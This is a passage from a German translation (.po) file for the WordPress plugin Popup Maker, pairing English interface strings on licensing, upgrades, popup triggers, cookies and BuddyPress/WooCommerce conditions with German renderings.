classes/Admin/Assets.php:149 msgid "Your all set, the upgrades completed successfully!" msgstr "Du hast es geschafft, die Upgrades wurden erfolgreich ausgeführt!" #: classes/Admin/Assets.php:75 msgid "Preview" msgstr "Vorschau" #. translators: %1$s is the batch ID, %2$s is the batch handler class. #. translators: 1: Class name, 2: Batch process ID. #: classes/Admin/Ajax.php:316 classes/Utils/Upgrades.php:707 msgid "%1$s is an invalid handler for the %2$s batch process. Please try again." msgstr "%1$s ist ein ungültiger Handler für den %2$s Batch-Prozess. Bitte versuche es erneut." #. translators: %s is the batch ID. #. translators: 1: Batch process ID. #: classes/Admin/Ajax.php:302 classes/Utils/Upgrades.php:695 msgid "An invalid file path is registered for the %1$s batch process handler." msgstr "Für den %1$s Batch-Prozess-Handler wurde ein ungültiger Dateipfad registriert." #. translators: %s is the batch ID. #. translators: 1: Batch process ID. #: classes/Admin/Ajax.php:287 classes/Utils/Upgrades.php:582 msgid "%s is an invalid batch process ID." msgstr "%s ist eine ungültige Batch-Prozess-ID." #: classes/Admin/Ajax.php:274 classes/Utils/Upgrades.php:559 msgid "You do not have permission to initiate this request. Contact an administrator for more information." msgstr "Du hast nicht die Berechtigung für diese Anforderung. Kontaktiere einen Administrator für mehr Informationen." #: classes/Admin/Ajax.php:265 classes/Utils/Upgrades.php:550 msgid "A batch process ID must be present to continue." msgstr "Es muss eine Batch-Prozess-ID geben sein um fortzufahren." #: classes/Abstract/Upgrade/Settings.php:67 msgid "Settings updated successfully." msgstr "Einstellungen erfolgreich aktualisiert." #. translators: 1: Version number. #: classes/Abstract/Upgrade/Settings.php:61 msgid "Updating settings for v%s compatibility." msgstr "Einstellungen für v%s Kompatibilität aktualisiert." #. translators: 1: Number of items updated. 2: Singular or plural label. #: classes/Abstract/Upgrade/Posts.php:219 msgid "%1$s %2$s was updated successfully." msgid_plural "%1$s %2$s were updated successfully." msgstr[0] "%1$s %2$s wurde erfolgreich aktualisiert." msgstr[1] "%1$s %2$s wurden erfolgreich aktualisiert." #. translators: 1: Number of items processed. #: classes/Abstract/Batch/Process.php:124 msgid "%s item was successfully processed." msgid_plural "%s items were successfully processed." msgstr[0] "%s Element wurde erfolgreich ausgeführt." msgstr[1] "%s Elemente wurden erfolgreich ausgeführt." #: classes/Admin/Assets.php:86 classes/Admin/Shortcode/UI.php:118 msgid "There was an error in generating the preview" msgstr "Bei der Erstellung der Vorschau gab es einen Fehler" #: includes/integrations/class-pum-cf7.php:140 msgid "These settings control popups after successful form submissions." msgstr "Diese Einstellungen steuern die Popups nachdem das Formular erfolgreich eingereicht wurde. " #: classes/Admin/Popups.php:183 includes/integrations/class-pum-cf7.php:124 #: includes/integrations/class-pum-cf7.php:139 #: includes/integrations/class-pum-gravity-forms.php:125 msgid "Popup Settings" msgstr "Einstellungen für Popup" #. translators: %1$s: opening and closing link HTML tags, %2$s: link text. #: includes/modules/menus.php:50 msgctxt "%s represent opening and closing link html" msgid "Use this if there is a conflict with your theme or another plugin in the nav menu editor. %1$sLearn more%2$s" msgstr "Verwende dies, wenn es mit deinem Theme oder einem anderen Plugin im Navigations-Menü-Editor einen Konflikt gibt. %1$sMehr Informationen%2$s" #: includes/modules/menus.php:47 msgid "Disable Popups Menu Editor" msgstr "Menu Editor für Popups deaktivieren" #: includes/modules/admin-bar.php:237 msgid "Get Selector" msgstr "Selektor holen" #: includes/modules/admin-bar.php:273 msgctxt "JS alert for CSS get selector tool" msgid "Selector" msgstr "Selektor" #: includes/modules/admin-bar.php:272 msgid "After clicking ok, click the element you want a selector for." msgstr "Nachdem du auf ok geklickt hast, klicke auf das Element, für das du eine Auswahl möchtest." #: classes/Admin/Settings.php:490 msgid "This will disable the admin Popups menu item." msgstr "Hiermit wird das administrative Popup-Menu-Element deaktiviert." #: classes/Admin/Settings.php:489 msgid "Disable Popups Admin Bar" msgstr "Admin Bar für Popups deaktivieren" #. Author URI of the plugin #: popup-maker.php msgid "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=author-uri" msgstr "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=author-uri" #. Plugin URI of the plugin #: popup-maker.php msgid "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=plugin-uri" msgstr "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=plugin-uri" #: classes/Admin/Templates.php:485 msgid "Insert Preset" msgstr "Voreinstellungen einfügen" #: classes/Admin/Templates.php:478 msgid "Link: Ends With" msgstr "Link: Endet mit" #: classes/Admin/Templates.php:477 msgid "Link: Begins With" msgstr "Link: Beginnt mit" #: classes/Admin/Templates.php:476 msgid "Link: Containing" msgstr "Link: Enthält" #: classes/Admin/Templates.php:475 msgid "Link: Exact Match" msgstr "Link: Stimmt exakt überein" #. translators: 1. plugin name. #: includes/pum-sdk/class-pum-extension-activation.php:124 msgid " requires Popup Maker! Please %s to continue!" msgstr "Popup Maker erforderlich! Bitte %s um fortzufahren!" #: classes/Extension/Activator.php:196 classes/Utils/Prerequisites.php:322 #: includes/pum-sdk/class-pum-extension-activation.php:118 #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:433 msgid "install it" msgstr "installiere es" #: classes/Extension/Activator.php:171 classes/Utils/Prerequisites.php:299 #: includes/pum-sdk/class-pum-extension-activation.php:115 #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:410 msgid "activate it" msgstr "aktiviere es" #: includes/pum-sdk/class-pum-extension-activation.php:82 msgid "This plugin" msgstr "Dieses Plugin" #. translators: 1. Post type plural label. #: classes/Conditions.php:324 msgctxt "condition: post type plural label ie. Posts: ID" msgid "%s: Ancestor Of" msgstr "%s: Verwandt mit" #. translators: 1. Post type plural label. #: classes/Conditions.php:301 msgctxt "condition: post type plural label ie. Posts: ID" msgid "%s: Child Of" msgstr "%s: Kind von" #: includes/modules/reviews.php:356 includes/modules/reviews.php:495 msgid "I already did" msgstr "Habe ich schon" #: includes/modules/reviews.php:351 includes/modules/reviews.php:490 msgid "Nope, maybe later" msgstr "Nein, später vielleicht" #: includes/modules/reviews.php:347 includes/modules/reviews.php:485 msgid "Ok, you deserve it" msgstr "Ja, du hast es verdient" #. translators: %s: number of popup views. #: includes/modules/reviews.php:273 msgid "Hi there! You've recently hit %s popup views on your site – that’s awesome!! If you'd like to celebrate this milestone, rate Popup Maker 5-stars to help spread the word!" msgstr "Hey! Du hast kürzlich %s Popup-Anzeigen erreicht - das ist großartig!! Falls du diesen Meilenstein feiern möchtest, dann gib Popup Maker eine 5-Sterne Bewertung und hilf die Botschaft weiter zu verbreiten!" #: includes/modules/reviews.php:254 msgid "3 months" msgstr "3 Monate" #: includes/modules/reviews.php:246 msgid "1 month" msgstr "1 Monat" #: includes/modules/reviews.php:238 msgid "1 week" msgstr "1 Woche" #. translators: %s: number of days. #: includes/modules/reviews.php:233 msgid "Hi there! You've been using Popup Maker on your site for %s - I hope it's been helpful. If you're enjoying my plugin, would you mind rating it 5-stars to help spread the word?" msgstr "Hey! Du hast Popup Maker auf deiner Seite schon seit %s im Einsatz - Ich hoffe, es war nützlich. Falls du mein Plugin magst, würde es Dir etwas ausmachen es mit 5 Sternen zu bewerten um die Botschaft weiter zu verbreiten?" #: includes/modules/menus.php:202 msgid "Choose a popup to trigger when this item is clicked." msgstr "Wähle ein Popup das ausgewählt wird wenn dieses Element angeklickt wird." #: includes/modules/menus.php:191 msgid "Trigger a Popup" msgstr "Popup auslösen" #: classes/Analytics.php:153 msgid "Missing Parameters." msgstr "Fehlende Angaben. " #: includes/modules/admin-bar.php:180 msgid "No Popups Loaded" msgstr "Es wurden keine Popups geladen" #: includes/modules/admin-bar.php:169 msgid "Edit Popup" msgstr "Popup bearbeiten" #: includes/modules/admin-bar.php:155 msgid "Reset Cookies" msgstr "Cookies zurücksetzen" #: includes/modules/admin-bar.php:142 msgid "Check Conditions" msgstr "Bedingungen prüfen" #: includes/integrations/class-pum-woocommerce-integration.php:68 msgid "Selected Endpoints" msgstr "Ausgewählte Endpunkte" #: includes/integrations/class-pum-woocommerce-integration.php:65 msgid "Is Endpoint" msgstr "Ist Endpunkt" #: classes/Extension/License.php:543 msgid "Enter valid license key for automatic updates." msgstr "Gib einen gültigen Lizenzschlüssel ein um automatische Updates zu ermöglichen. " #. translators: 1. opening link text, 2. closing link text #: classes/Extension/License.php:475 classes/Extension/License.php:515 msgid "You have invalid or expired license keys for Popup Maker. Please go to the %1$sLicenses page%2$s to correct this issue." msgstr "Du hast einen ungültigen oder abgelaufenen Lizenzschlüssel für Popup Maker. Bitte gehe zur %1$sLizenzseite%2$s, um das Problem zu beheben." #. translators: 1. opening link text, 2. closing link text #: classes/Extension/License.php:221 msgid "Enter your extension license keys here to receive updates for purchased extensions. If your license key has expired, please %1$srenew your license%2$s." msgstr "Gib hier deinen Lizenzschlüssel für Erweiterungen ein, um Updates für gekaufte Erweiterungen zu erhalten. Wenn dein Lizenzschlüssel abgelaufen ist, erneuere bitte %1$sdeine Lizenz%2$s." #. translators: 1. Product name. #: classes/Admin/Tools.php:202 msgid "Get updates for pre-release versions of %s" msgstr "Erhalte Updates für die Vorabversion von %s" #: classes/Admin/Tools.php:187 msgid "Enable Beta Versions" msgstr "Beta-Versionen aktivieren" #: classes/Admin/Tools.php:133 msgid "Beta Versions" msgstr "Beta-Versionen" #: classes/Admin/Settings.php:597 msgid "Core Styles" msgstr "Haupt-Stile" #: classes/Admin/Settings.php:593 msgid "Show Popup Maker CSS" msgstr "CSS von Popup Maker anzeigen" #. translators: 1. Plugin name. #: classes/Licensing.php:190 msgid "To receive updates, please enter your valid %s license key." msgstr "Um Updates zu erhalten gib bitte einen gültigen %s Lizenzschlüssel ein. " #. translators: 1. Expiration date. #: classes/Licensing.php:180 msgid "Your license key expires on %s." msgstr "Dein Lizenzschlüssel läuft am %s ab. " #. translators: 1. Expiration date, 2. Opening HTML link tag, 3. Closing HTML #. tag. #: classes/Licensing.php:172 msgid "Your license key expires soon! It expires on %1$s. %2$sRenew your license key%3$s." msgstr "Dein Lizenzschlüssel läuft bald ab! Er endet am %1$s. %2$sErneuere deinen Lizenzschlüssel%3$s." #: classes/Licensing.php:168 msgid "License key never expires." msgstr "Der Lizenzschlüssel läuft nie ab." #. translators: 1. Error message, 2. Opening HTML link tag, 3. Closing HTML #. tag. #: classes/Licensing.php:153 msgid "There was an error with this license key: %1$s. Please %2$scontact our support team%3$s." msgstr "Bei diesem Lizenzschlüssel ist ein Fehler aufgetreten: %1$s. Bitte %2$skontaktiere unser Support-Team%3$s." #: classes/Licensing.php:150 msgid "unknown_error" msgstr "unbekannter_fehler" #: classes/Licensing.php:147 msgid "The key you entered belongs to a bundle, please use the product specific license key." msgstr "Die Lizenz die du eingetragen hast gehört zu einem Paket. Bitte verwenden den produktspezifischen Lizenzschlüssel. " #. translators: 1. Plugin name. #: classes/Licensing.php:134 msgid "This appears to be an invalid license key for %s." msgstr "Das scheint ein ungüliter Lizenzschlüssel für %s zu sein. " #. translators: 1. Plugin name. 2. Opening HTML link tag, 3. Closing HTML tag. #: classes/Licensing.php:125 msgid "Your %1$s is not active for this URL. Please %2$svisit your account page%3$s to manage your license key URLs." msgstr "Dein %1$s ist für diese URL nicht aktiv. Bitte besuche %2$sdeine Kontoseite%3$s, um deine Lizenzschlüssel-URLs zu verwalten." #. translators: 1. Opening HTML link tag, 2. Closing HTML tag. #: classes/Licensing.php:116 msgid "Invalid license. Please %1$svisit your account page%2$s and verify it." msgstr "Ungültige Lizenz. Bitte %1$sbesuche deine Kontoseite%2$s und überprüfe sie." #. translators: 1. Opening HTML link tag, 2. Closing HTML tag. #: classes/Licensing.php:108 msgid "Your license key has been disabled. Please %1$scontact support%2$s for more information." msgstr "Dein Lizenzschlüssel wurde deaktiviert. Bitte %1$skontaktiere den Support%2$s für weitere Informationen." #. translators: 1. Expiration date, 2. Opening HTML link tag, 3. Closing HTML #. tag. #: classes/Licensing.php:98 msgid "Your license key expired on %1$s. Please %2$srenew your license key%3$s." msgstr "Dein Lizenzschlüssel ist am %1$s abgelaufen. Bitte %2$serneuere deinen Lizenschlüssel%3$s." #: classes/Admin/Settings.php:343 msgid "This will disable the built in analytics functionality." msgstr "Das wird die eingebaute Analyse-Funktion deaktivieren." #: classes/Admin/Settings.php:342 msgid "Disables popup open tracking?" msgstr "Tracking von Popup-Öffnungen deaktivieren?" #: classes/Admin/Settings.php:495 msgid "This will turn on multiple debug tools used to quickly find issues." msgstr "Das aktiviert verschiedene Werkzeuge zur Fehlersuche um Probleme schnell zu identifizieren." #: classes/Admin/Settings.php:494 msgid "Enable Debug Mode" msgstr "Fehlersuche-Modus aktivieren" #: classes/Admin/Settings.php:540 msgid "Check this if you have copied the Popup Maker core styles to your own stylesheet or are using custom styles." msgstr "Aktiviere diese Option, wenn du die Popup Maker Styles in dein eigenes Stylesheet kopiert hast oder wenn du benutzerdefinierte Styles verwendest. " #: classes/Admin/Settings.php:539 msgid "Don't load Popup Maker core stylesheet." msgstr "Lade nicht das Popum Maker Stylesheet" #. translators: 1. URL to documentation. 2. Closing HTML tag. #: classes/Admin/Popups.php:808 msgid "This will position the popup in relation to the %1$sClick Trigger%2$s." msgstr "Hiermit wird das PopUp im Verhältnis zum %1$sKlick-Auslöser%2$s positioniert." #: classes/Admin/Popups.php:805 msgid "Position from Trigger" msgstr "Position des Auslösers" #: classes/Admin/Popups.php:508 msgid "Disable this popup on tablet devices." msgstr "Dieses Popup auf Tablets deaktivieren." #: classes/Admin/Support.php:52 msgid "<b>Secure HTTPS contact page</b>, running via iframe from external domain" msgstr "<b>Sichere HTTPS-Kontakt-Seite</b>, läuft über Iframe von externer Domain aus" #: classes/Admin/Pages.php:71 classes/Admin/Pages.php:169 msgid "Help & Support" msgstr "Hilfe und Support" #: classes/Admin/Popups.php:503 msgid "Disable this popup on mobile devices." msgstr "Dieses Popup auf mobilen Geräten deaktivieren." #: classes/Shortcode/Subscribe.php:440 #: includes/integrations/class-pum-cf7.php:230 #: includes/integrations/class-pum-gravity-forms.php:235 #: includes/integrations/ninja-forms/Actions/OpenPopup.php:90 msgid "Select a popup" msgstr "Wähle ein Popup" #: classes/Analytics.php:193 classes/Shortcode/Subscribe.php:437 #: includes/integrations/ninja-forms/Actions/OpenPopup.php:52 msgid "Popup ID" msgstr "Popup ID" #: includes/integrations/ninja-forms/Actions/ClosePopup.php:56 msgid "0" msgstr "0" #: classes/Shortcode/Subscribe.php:417 #: includes/integrations/class-pum-cf7.php:145 #: includes/integrations/class-pum-gravity-forms.php:136 #: includes/integrations/ninja-forms/Actions/ClosePopup.php:46 #: includes/modules/admin-bar.php:129 msgid "Close Popup" msgstr "Popup schließen" #: classes/Shortcode/PopupClose.php:104 msgid "This prevents us from disabling the browsers default action when a close button is clicked. It can be used to allow a link to a file to both close a popup and still download the file." msgstr "Das hindert uns daran, die Browser-Standardaktion zu unterdrücken wenn ein Schließen-Button geklickt wird. Das kann genutzt werden damit ein Link zu einer Datei ein Popup schließt und die Datei trotzdem heruntergeladen werden kann. " #: classes/Conditions.php:360 classes/Shortcode/Subscribe.php:137 #: classes/Shortcode/Subscribe.php:305 msgid "Default" msgstr "Standard" #. translators: 1. Post type plural label. #: classes/Conditions.php:351 msgctxt "condition: post type plural label ie. Pages: With Template" msgid "%s: With Template" msgstr "%s: Mit Vorlage" #: classes/Admin/Popups.php:838 msgid "This will disable automatic repositioning of the popup on window resizing." msgstr "Hiermit wird die automatische Repositionierung des Popups bei Anpassung der Fenstergröße deaktiviert." #: classes/Admin/Popups.php:837 msgid "Disable Repositioning" msgstr "Repositionierung deaktivieren" #: classes/Admin/Templates.php:207 msgid "Activate License" msgstr "Lizenz aktivieren" #: includes/integrations/class-pum-buddypress-integration.php:125 msgid "Which action variables?" msgstr "Welche Aktionsvariablen?" #: includes/integrations/class-pum-buddypress-integration.php:121 msgid "BP: Is Action Variable" msgstr "BP: Ist eine Aktionsvariable" #: includes/integrations/class-pum-buddypress-integration.php:113 msgid "Which actions?" msgstr "Welche Aktionen?" #: includes/integrations/class-pum-buddypress-integration.php:109 msgid "BP: Is Current Action" msgstr "BP: Ist die aktuelle Aktion" #: includes/integrations/class-pum-buddypress-integration.php:101 msgid "Which components?" msgstr "Welche Komponenten?" #: includes/integrations/class-pum-buddypress-integration.php:93 msgid "BP: Is Current Component" msgstr "BP: Ist eine aktuelle Komponente" #: includes/integrations/class-pum-buddypress-integration.php:88 msgid "BP: Is Directory" msgstr "BP: Ist ein Verzeichnis" #: includes/integrations/class-pum-buddypress-integration.php:82 msgid "BP: Is Item Mod" msgstr "BP: Ist ein Artikelmoderator" #: includes/integrations/class-pum-buddypress-integration.php:76 msgid "BP: Is Item Admin" msgstr "BP: Ist ein Item Administrator" #: includes/integrations/class-pum-buddypress-integration.php:70 msgid "BP: Is Register Page" msgstr "BP: Ist eine Registrierungsseite" #: includes/integrations/class-pum-buddypress-integration.php:64 msgid "BP: Is Activation Page" msgstr "BP: Ist eine Aktivierungsseite" #: includes/integrations/class-pum-buddypress-integration.php:58 msgid "BP: Is User Messages Page" msgstr "BP: Ist eine Benutzer-Nachrichtenseite" #: includes/integrations/class-pum-buddypress-integration.php:52 msgid "BP: Is Group Page" msgstr "BP: Ist eine Gruppenseite" #: includes/integrations/class-pum-buddypress-integration.php:46 msgid "BP: Is User Page" msgstr "BP: Ist eine Benutzerseite" #: includes/integrations/class-pum-buddypress-integration.php:40 msgid "BP: Is a BuddyPress Page" msgstr "BP: Ist eine BuddyPress Seite" #: classes/Utils/Alerts.php:275 #: includes/integrations/class-pum-buddypress-integration.php:39 #: includes/integrations/class-pum-buddypress-integration.php:45 #: includes/integrations/class-pum-buddypress-integration.php:51 #: includes/integrations/class-pum-buddypress-integration.php:57 #: includes/integrations/class-pum-buddypress-integration.php:63 #: includes/integrations/class-pum-buddypress-integration.php:69 #: includes/integrations/class-pum-buddypress-integration.php:75 #: includes/integrations/class-pum-buddypress-integration.php:81 #: includes/integrations/class-pum-buddypress-integration.php:87 #: includes/integrations/class-pum-buddypress-integration.php:92 #: includes/integrations/class-pum-buddypress-integration.php:108 #: includes/integrations/class-pum-buddypress-integration.php:120 #: includes/integrations/class-pum-buddypress-integration.php:248 msgid "BuddyPress" msgstr "BuddyPress" #. translators: 1. Taxonomy singular label. #: classes/Conditions.php:470 msgctxt "condition: taxonomy plural label ie. Category IDs" msgid "%s IDs: 128, 129" msgstr "%s IDs: 128, 129" #. translators: 1. Taxonomy plural label. #: classes/Conditions.php:463 msgctxt "condition: taxonomy plural label ie. Categories: Selected" msgid "%s: IDs" msgstr "%s: IDs" #. translators: 1. Post type singular label. #: classes/Conditions.php:287 msgctxt "condition: post type singular label ie. Posts IDs" msgid "%s IDs: 128, 129" msgstr "%s IDs: 128, 129" #. translators: 1. Post type plural label. #: classes/Conditions.php:280 msgctxt "condition: post type plural label ie. Posts: ID" msgid "%s: ID" msgstr "%s: ID" #. translators: %1$s: Post Type Singular: Popup, Theme #: classes/Types.php:206 msgctxt "Post Type Singular: Popup, Theme" msgid "%1$s submitted." msgstr "%1$s eingereicht." #. translators: %1$s: Post Type Singular: Popup, Theme #: classes/Types.php:204 msgctxt "Post Type Singular: Popup, Theme" msgid "%1$s saved." msgstr "%1$s gespeichert." #. translators: %1$s: Post Type Singular: Popup, Theme #: classes/Types.php:202 msgctxt "Post Type Singular: Popup, Theme" msgid "%1$s published." msgstr "%1$s veröffentlicht." #. translators: %1$s: Post Type Singular: Popup, Theme #: classes/Types.php:198 classes/Types.php:200 msgctxt "Post Type Singular: Popup, Theme" msgid "%1$s updated." msgstr "%1$s aktualisiert." #. translators: 1. Screen Edge: top, bottom. #: classes/Admin/Popups.php:736 classes/Admin/Popups.php:754 #: classes/Admin/Popups.php:772 classes/Admin/Popups.php:790 #: classes/Shortcode/Popup.php:176 classes/Shortcode/Popup.php:191 #: classes/Shortcode/Popup.php:206 classes/Shortcode/Popup.php:221 msgctxt "Screen Edge: top, bottom" msgid "Distance from the %s edge of the screen." msgstr "Abstand vom %s Rand des Bildschirms" #: classes/Shortcode/PopupTrigger.php:136 classes/Triggers.php:191 msgid "This prevents us from disabling the browsers default action when a trigger is clicked. It can be used to allow a link to a file to both trigger a popup and still download the file." msgstr "Das verhindert, dass wir die Standard-Aktion des Browsers unterdrücken wenn ein Trigger angeklickt wird. Das kann verwendet werden um einem Link zu einer Datei zu erlauben sowohl einen PopUp auszulösen als auch die Datei herunterzuladen." #: classes/Shortcode/PopupClose.php:103 classes/Shortcode/PopupTrigger.php:135 #: classes/Triggers.php:190 msgid "Do not prevent the default click functionality." msgstr "Die Standard Click-Funktionalität nicht unterdrücken." #: classes/Admin/Popups.php:537 classes/Admin/Settings.php:242 msgid "Customize This Theme" msgstr "Passe dieses Theme an" #: classes/Admin/Pages.php:115 classes/Types.php:67 classes/Types.php:69 #: classes/Upsell.php:145 msgid "Popup Themes" msgstr "Popup-Themes" #: classes/Shortcode/Popup.php:154 msgid "Height Unit" msgstr "Einheiten-Höhe" #: classes/Shortcode/Popup.php:143 msgid "Width Unit" msgstr "Einheiten-Breite" #: classes/Shortcode/Popup.php:116 msgid "Choose which popup theme will be used." msgstr "Wähle welches Popup-Theme genutzt wird. " #: classes/Shortcode/Popup.php:115 msgid "Choose a theme," msgstr "Wähle ein Theme" #: classes/Admin/Onboarding.php:273 classes/Admin/Popups.php:115 #: classes/Admin/Popups.php:536 classes/Shortcode/Popup.php:114 #: classes/Types.php:67 classes/Types.php:213 classes/Upsell.php:145 msgid "Popup Theme" msgstr "Popup Theme" #: classes/Shortcode/Popup.php:105 msgid "This will be displayed above the content. Leave it empty to disable it." msgstr "Das wird über dem Inhalt angezeigt. Lasse es leer um es zu deaktivieren. " #: classes/Shortcode/Popup.php:104 msgid "Enter popup title text," msgstr "Gib den Text für den Popup-Titel an," #: classes/Admin/Popups.php:146 classes/Admin/Popups.php:148 #: classes/Shortcode/Popup.php:103 msgid "Popup Title" msgstr "Titel des PopUps" #: classes/Shortcode/Popup.php:98 msgid "Used in popup triggers to target this popup" msgstr "In einem Popup-Auslöser verwendet um das Popup anzusprechen" #: classes/Shortcode/Popup.php:97 msgid "`offer`, `more-info`" msgstr "`Angebot`, `mehr Infos`" #: classes/Shortcode/Popup.php:96 msgid "Unique Popup ID" msgstr "Eindeutige Popup ID" #: classes/Admin/Popups.php:404 classes/Shortcode/Popup.php:58 #: classes/Shortcode/Popup.php:76 msgid "Display" msgstr "Anzeige" #: classes/Shortcode/Popup.php:38 msgid "Insert a popup inline rather. Great for simple popups used for supporting content." msgstr "Füge das Pop-up stattdessen inline ein. Großartig für einfache Pop-ups die Inhalte unterstützen." #: classes/Shortcode/PopupTrigger.php:91 msgid "Choose which popup will be targeted by this trigger." msgstr "Wähle, welches Popup durch diesen Auslöser angesprochen wird." #: classes/Shortcode/PopupTrigger.php:90 msgid "Choose a Popup" msgstr "Wähle ein Popup" #: classes/Shortcode/PopupTrigger.php:89 msgid "Targeted Popup" msgstr "Angesprochenes Popup" #: classes/Shortcode/PopupTrigger.php:58 msgid "Trigger Content" msgstr "Inhalt auslösen" #: classes/Shortcode/PopupTrigger.php:50 msgid "Inserts a click-able popup trigger." msgstr "Fügt einen klickbaren Popup-Auslöser ein." #: classes/Shortcode/PopupClose.php:98 classes/Shortcode/PopupTrigger.php:126 msgid "Add additional classes for styling." msgstr "Füge weiter Klassen für das Styling hinzu. " #: classes/Admin/Popups.php:1207 classes/Shortcode/PopupClose.php:95 #: classes/Shortcode/PopupTrigger.php:123 #: classes/Shortcode/PopupTrigger.php:124 msgid "CSS Class" msgstr "CSS-Klasse" #: classes/Shortcode/PopupTrigger.php:116 msgid "The HTML tag used to generate the trigger and wrap your text." msgstr "Der HTML Tag der verwendet wurde um den Auslöser zu erstellen und der den Text umschließt." #: classes/Shortcode/PopupTrigger.php:115 msgid "HTML Tags: button, span etc." msgstr "HTML Tags: button, span etc." #: classes/Shortcode/PopupClose.php:55 classes/Shortcode/PopupTrigger.php:114 msgid "HTML Tag" msgstr "HTML Tag" #: classes/Shortcode/Popup.php:44 classes/Shortcode/PopupClose.php:42 #: classes/Shortcode/PopupTrigger.php:59 msgid "Can contain other shortcodes, images, text or html content." msgstr "Kann andere Shortcodes, Bilder, Text oder HTML beinhalten. " #: classes/Admin/Themes.php:378 classes/Shortcode/Popup.php:43 #: classes/Shortcode/PopupClose.php:41 msgid "Content" msgstr "Inhalt" #: classes/Shortcode/PopupClose.php:36 msgid "Make text or html a close trigger for your popup." msgstr "Erstelle Text oder HTML als Schließen-Trigger für dein PopUp" #: classes/Shortcode/PopupClose.php:32 msgid "Popup Close Button" msgstr "Popup Schließen Button" #: classes/Triggers.php:173 msgid "Extra Selectors" msgstr "Zusätzliche Selektoren" #: classes/Triggers.php:172 msgid "Click Trigger Settings" msgstr "Einstellungen für den Klick-Auslöser" #: classes/Triggers.php:171 msgid "Click Open" msgstr "Öffnen durch Klick" #: includes/pum-install-functions.php:177 msgid "Framed Border" msgstr "Rahmen" #: includes/pum-install-functions.php:170 msgid "Cutting Edge" msgstr "Spitzenposition" #: includes/pum-install-functions.php:163 msgid "Hello Box" msgstr "Hallo Box" #: includes/pum-install-functions.php:156 msgid "Enterprise Blue" msgstr "Enterprise Blue" #: includes/pum-install-functions.php:149 msgid "Light Box" msgstr "Light Box" #: classes/Cookies.php:86 msgid "On Popup Open" msgstr "Wenn PopUp öffnet" #: classes/Cookies.php:231 classes/Shortcode/PopupCookie.php:50 msgid "The name that will be used when checking for or saving this cookie." msgstr "Der Name der verwendet wird wenn nach diesem Cookie gesucht oder wenn es gespeichert wird. " #: classes/Cookies.php:230 classes/Shortcode/PopupCookie.php:49 msgid "Cookie Name ex. popmaker-123" msgstr "Cookie Name z.B. popmaker-123" #: classes/Cookies.php:229 classes/Privacy.php:79 #: classes/Shortcode/PopupCookie.php:48 classes/Triggers.php:337 msgid "Cookie Name" msgstr "Name des Cookies" #: classes/Conditions.php:498 msgid "Blog Index" msgstr "Blog Index" #: classes/Conditions.php:491 msgid "Home Page" msgstr "Home Page" #. translators: 1. Taxonomy plural label. #: classes/Conditions.php:447 msgctxt "condition: taxonomy plural label ie. Select Categories" msgid "Select %s." msgstr "Wähle %s." #. translators: 1. Taxonomy plural label. #: classes/Conditions.php:440 msgctxt "condition: taxonomy plural label ie. Categories: Selected" msgid "%s: Selected" msgstr "%s: Ausgewählt" #. translators: 1. Taxonomy plural label. #: classes/Conditions.php:430 msgctxt "condition: taxonomy plural label ie. Categories: All" msgid "%s: All" msgstr "%s: Alle" #. translators: 1. Taxonomy plural label. #: classes/Conditions.php:400 msgctxt "condition: post type plural label ie. Select categories" msgid "Select %s." msgstr "Wähle %s." #. translators: 1. Post type plural label, 2. Taxonomy singular label. #: classes/Conditions.php:392 msgctxt "condition: post type plural and taxonomy singular label ie. Posts: With Category" msgid "%1$s: With %2$s" msgstr "%1$s: Mit %2$s" #. translators: 1. Post type plural label. #: classes/Conditions.php:263 classes/Conditions.php:308 #: classes/Conditions.php:331 msgctxt "condition: post type plural label ie. Select Posts" msgid "Select %s." msgstr "Wähle %s." #. translators: 1. Post type plural label. #: classes/Conditions.php:256 msgctxt "condition: post type plural label ie. Posts: Selected" msgid "%s: Selected" msgstr "%s: Ausgewählt" #. translators: 1. Post type plural label. #: classes/Conditions.php:246 msgctxt "condition: post type plural label ie. Posts: All" msgid "All %s" msgstr "Alle %s" #. translators: 1. Post type plural label. #: classes/Conditions.php:234 msgctxt "condition: post type plural label ie. Posts: All" msgid "%s Archive" msgstr "%s Archiv" #: classes/Admin/Subscribers/Table.php:279 msgid "User ID" msgstr "Benutzer-ID" #: classes/Admin/Subscribers/Table.php:312 classes/Privacy.php:227 msgid "ID" msgstr "ID" #: classes/Admin/Subscribers/Table.php:102 classes/Privacy.php:233 #: classes/Shortcode/Subscribe.php:217 classes/Shortcode/Subscribe.php:221 #: classes/Shortcode/Subscribe.php:269 classes/Shortcode/Subscribe.php:270 msgid "Email" msgstr "E-Mail" #: includes/integrations/class-pum-woocommerce-integration.php:59 msgid "Account Page" msgstr "Kontoseite" #: includes/integrations/class-pum-woocommerce-integration.php:54 msgid "Checkout Page" msgstr "Seite „Kasse“" #: includes/integrations/class-pum-woocommerce-integration.php:49 msgid "Cart Page" msgstr "Warenkorb-Seite" #: includes/integrations/class-pum-woocommerce-integration.php:44 msgid "Shop Page" msgstr "Shop-Seite" #: includes/integrations/class-pum-woocommerce-integration.php:39 msgid "All WooCommerce" msgstr "Alle WooCommerce" #: includes/integrations/class-pum-woocommerce-integration.php:38 #: includes/integrations/class-pum-woocommerce-integration.php:43 #: includes/integrations/class-pum-woocommerce-integration.php:48 #: includes/integrations/class-pum-woocommerce-integration.php:53 #: includes/integrations/class-pum-woocommerce-integration.php:58 #: includes/integrations/class-pum-woocommerce-integration.php:64 #: includes/integrations/class-pum-woocommerce-integration.php:99 msgid "WooCommerce" msgstr "WooCommerce" #: classes/Shortcode.php:153 classes/Shortcode.php:165 #: classes/Shortcode.php:180 msgid "Options" msgstr "Optionen" #. translators: %s is the property name. #: classes/Abstract/Model/Post.php:260 classes/Abstract/Model/User.php:186 msgid "Can't get property %s" msgstr "Kann die Eigenschaft %s nicht abrufen" #: classes/Admin/Templates.php:757 msgid "Reset Cookie Key" msgstr "Cookie-Schlüssel zurücksetzen" #: classes/Cookies.php:161 msgid "Sessions" msgstr "Sitzungen" #: classes/Conditions.php:114 msgid "Format" msgstr "Format" #: classes/Conditions.php:111 classes/Conditions.php:497 msgid "Posts" msgstr "Beiträge" #: classes/Conditions.php:110 msgid "Pages" msgstr "Seiten" #. translators: 1: Step number, 